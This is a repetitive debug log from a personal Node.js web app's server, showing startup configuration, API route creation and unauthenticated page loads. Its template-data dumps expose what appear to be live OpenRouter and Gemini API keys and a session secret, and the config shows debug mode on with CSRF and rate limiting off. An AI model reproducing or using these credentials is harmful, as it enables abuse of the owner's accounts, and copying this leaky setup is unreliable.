2026-05-21T17:07:45.104Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-21T17:07:46.028Z server-connect:setup:upload Upload middleware configured.
2026-05-21T17:07:46.029Z server-connect:secure CSRF Protection initialized
2026-05-21T17:07:46.033Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-21T17:07:46.099Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-21T17:07:46.104Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-21T17:07:46.105Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-21T17:07:46.111Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-21T17:07:46.117Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-21T17:07:46.128Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-21T17:07:46.141Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-21T17:07:46.146Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-21T17:07:46.148Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-21T17:07:46.150Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-21T17:07:46.154Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-21T17:07:46.159Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-21T17:07:46.170Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-21T17:07:46.174Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-21T17:07:46.246Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-21T17:07:46.247Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-21T17:07:46.251Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-21T17:07:46.257Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-21T17:07:46.261Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-21T17:07:46.263Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-21T17:07:46.271Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-21T17:07:46.273Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-21T17:07:46.280Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-21T17:07:46.280Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-21T17:07:46.285Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-21T17:07:46.285Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-21T17:07:46.288Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-21T17:07:46.295Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-21T17:07:46.295Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-21T17:07:46.298Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-21T17:07:46.301Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-21T17:07:46.304Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-21T17:07:46.306Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-21T17:07:46.312Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-21T17:07:46.316Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-21T17:07:46.318Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-21T17:07:46.327Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-21T17:07:46.943Z server-connect:router Serving templateView /
2026-05-21T17:07:46.945Z server-connect:app Executing action step identify
2026-05-21T17:07:46.945Z server-connect:app options: { provider: 'security' }
2026-05-21T17:07:46.947Z server-connect:auth No login cookie found
2026-05-21T17:07:46.947Z server-connect:output identity: false
2026-05-21T17:07:46.948Z server-connect:app Executing action step restrict
2026-05-21T17:07:46.948Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-21T17:07:46.951Z server-connect:output restrict: undefined
2026-05-21T17:07:47.088Z server-connect:router Serving templateView /login
2026-05-21T17:07:47.088Z server-connect:app Executing action step identify
2026-05-21T17:07:47.088Z server-connect:app options: { provider: 'security' }
2026-05-21T17:07:47.088Z server-connect:auth No login cookie found
2026-05-21T17:07:47.088Z server-connect:output identity: false
2026-05-21T17:07:47.089Z server-connect:router Render template layouts/authentication
2026-05-21T17:07:47.089Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.58.33.88',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-22T17:07:47.086Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.58.33.88',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.58.33.88',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-21T23:06:11.986Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-21T23:06:14.254Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-21T23:06:15.119Z server-connect:setup:upload Upload middleware configured.
2026-05-21T23:06:15.120Z server-connect:secure CSRF Protection initialized
2026-05-21T23:06:15.124Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-21T23:06:15.126Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-21T23:06:15.128Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-21T23:06:15.131Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-21T23:06:15.136Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-21T23:06:15.141Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-21T23:06:15.153Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-21T23:06:15.168Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-21T23:06:15.172Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-21T23:06:15.172Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-21T23:06:15.176Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-21T23:06:15.179Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-21T23:06:15.186Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-21T23:06:15.195Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-21T23:06:15.199Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-21T23:06:15.271Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-21T23:06:15.272Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-21T23:06:15.278Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-21T23:06:15.284Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-21T23:06:15.286Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-21T23:06:15.288Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-21T23:06:15.296Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-21T23:06:15.299Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-21T23:06:15.305Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-21T23:06:15.305Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-21T23:06:15.311Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-21T23:06:15.311Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-21T23:06:15.314Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-21T23:06:15.320Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-21T23:06:15.321Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-21T23:06:15.325Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-21T23:06:15.325Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-21T23:06:15.328Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-21T23:06:15.331Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-21T23:06:15.340Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-21T23:06:15.344Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-21T23:06:15.344Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-21T23:06:15.355Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-21T23:06:15.845Z server-connect:router Serving templateView /
2026-05-21T23:06:15.847Z server-connect:app Executing action step identify
2026-05-21T23:06:15.847Z server-connect:app options: { provider: 'security' }
2026-05-21T23:06:15.849Z server-connect:auth No login cookie found
2026-05-21T23:06:15.849Z server-connect:output identity: false
2026-05-21T23:06:15.849Z server-connect:app Executing action step restrict
2026-05-21T23:06:15.850Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-21T23:06:15.853Z server-connect:output restrict: undefined
2026-05-22T16:26:45.457Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-22T16:26:47.665Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-22T16:26:48.527Z server-connect:setup:upload Upload middleware configured.
2026-05-22T16:26:48.527Z server-connect:secure CSRF Protection initialized
2026-05-22T16:26:48.533Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-22T16:26:48.535Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-22T16:26:48.536Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-22T16:26:48.539Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-22T16:26:48.548Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-22T16:26:48.548Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-22T16:26:48.562Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-22T16:26:48.575Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-22T16:26:48.580Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-22T16:26:48.580Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-22T16:26:48.583Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-22T16:26:48.588Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-22T16:26:48.593Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-22T16:26:48.605Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-22T16:26:48.608Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-22T16:26:48.679Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-22T16:26:48.680Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-22T16:26:48.685Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-22T16:26:48.690Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-22T16:26:48.697Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-22T16:26:48.698Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-22T16:26:48.707Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-22T16:26:48.707Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-22T16:26:48.715Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-22T16:26:48.715Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-22T16:26:48.720Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-22T16:26:48.723Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-22T16:26:48.723Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-22T16:26:48.731Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-22T16:26:48.731Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-22T16:26:48.734Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-22T16:26:48.737Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-22T16:26:48.741Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-22T16:26:48.741Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-22T16:26:48.747Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-22T16:26:48.751Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-22T16:26:48.753Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-22T16:26:48.764Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-22T16:26:49.251Z server-connect:router Serving templateView /
2026-05-22T16:26:49.253Z server-connect:app Executing action step identify
2026-05-22T16:26:49.254Z server-connect:app options: { provider: 'security' }
2026-05-22T16:26:49.256Z server-connect:auth No login cookie found
2026-05-22T16:26:49.256Z server-connect:output identity: false
2026-05-22T16:26:49.256Z server-connect:app Executing action step restrict
2026-05-22T16:26:49.256Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-22T16:26:49.260Z server-connect:output restrict: undefined
2026-05-23T00:59:36.679Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-23T00:59:38.887Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-23T00:59:39.751Z server-connect:setup:upload Upload middleware configured.
2026-05-23T00:59:39.751Z server-connect:secure CSRF Protection initialized
2026-05-23T00:59:39.757Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-23T00:59:39.759Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-23T00:59:39.759Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-23T00:59:39.762Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-23T00:59:39.769Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-23T00:59:39.776Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-23T00:59:39.787Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-23T00:59:39.800Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-23T00:59:39.804Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-23T00:59:39.805Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-23T00:59:39.808Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-23T00:59:39.812Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-23T00:59:39.817Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-23T00:59:39.827Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-23T00:59:39.830Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-23T00:59:39.903Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-23T00:59:39.905Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-23T00:59:39.909Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-23T00:59:39.915Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-23T00:59:39.919Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-23T00:59:39.921Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-23T00:59:39.928Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-23T00:59:39.930Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-23T00:59:39.936Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-23T00:59:39.939Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-23T00:59:39.942Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-23T00:59:39.945Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-23T00:59:39.945Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-23T00:59:39.953Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-23T00:59:39.953Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-23T00:59:39.956Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-23T00:59:39.959Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-23T00:59:39.963Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-23T00:59:39.963Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-23T00:59:39.969Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-23T00:59:39.975Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-23T00:59:39.975Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-23T00:59:39.985Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-23T00:59:40.472Z server-connect:router Serving templateView /
2026-05-23T00:59:40.474Z server-connect:app Executing action step identify
2026-05-23T00:59:40.474Z server-connect:app options: { provider: 'security' }
2026-05-23T00:59:40.476Z server-connect:auth No login cookie found
2026-05-23T00:59:40.476Z server-connect:output identity: false
2026-05-23T00:59:40.477Z server-connect:app Executing action step restrict
2026-05-23T00:59:40.477Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-23T00:59:40.481Z server-connect:output restrict: undefined
2026-05-23T00:59:40.699Z server-connect:router Serving templateView /login
2026-05-23T00:59:40.699Z server-connect:app Executing action step identify
2026-05-23T00:59:40.699Z server-connect:app options: { provider: 'security' }
2026-05-23T00:59:40.699Z server-connect:auth No login cookie found
2026-05-23T00:59:40.699Z server-connect:output identity: false
2026-05-23T00:59:40.699Z server-connect:router Render template layouts/authentication
2026-05-23T00:59:40.700Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'accept-encoding': 'gzip',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
    pragma: 'no-cache',
    accept: '*/*',
    'x-forwarded-for': '82.165.209.144',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-24T00:59:40.697Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '82.165.209.144',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',
    HTTP_PRAGMA: 'no-cache',
    HTTP_ACCEPT: '*/*',
    'HTTP_X_FORWARDED-FOR': '82.165.209.144',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-23T10:58:53.620Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-23T10:58:56.327Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-23T10:58:56.526Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-23T10:58:56.755Z server-connect:setup:upload Upload middleware configured.
2026-05-23T10:58:56.755Z server-connect:secure CSRF Protection initialized
2026-05-23T10:58:56.760Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-23T10:58:56.764Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-23T10:58:56.765Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-23T10:58:56.766Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-23T10:58:56.775Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-23T10:58:56.775Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-23T10:58:56.792Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
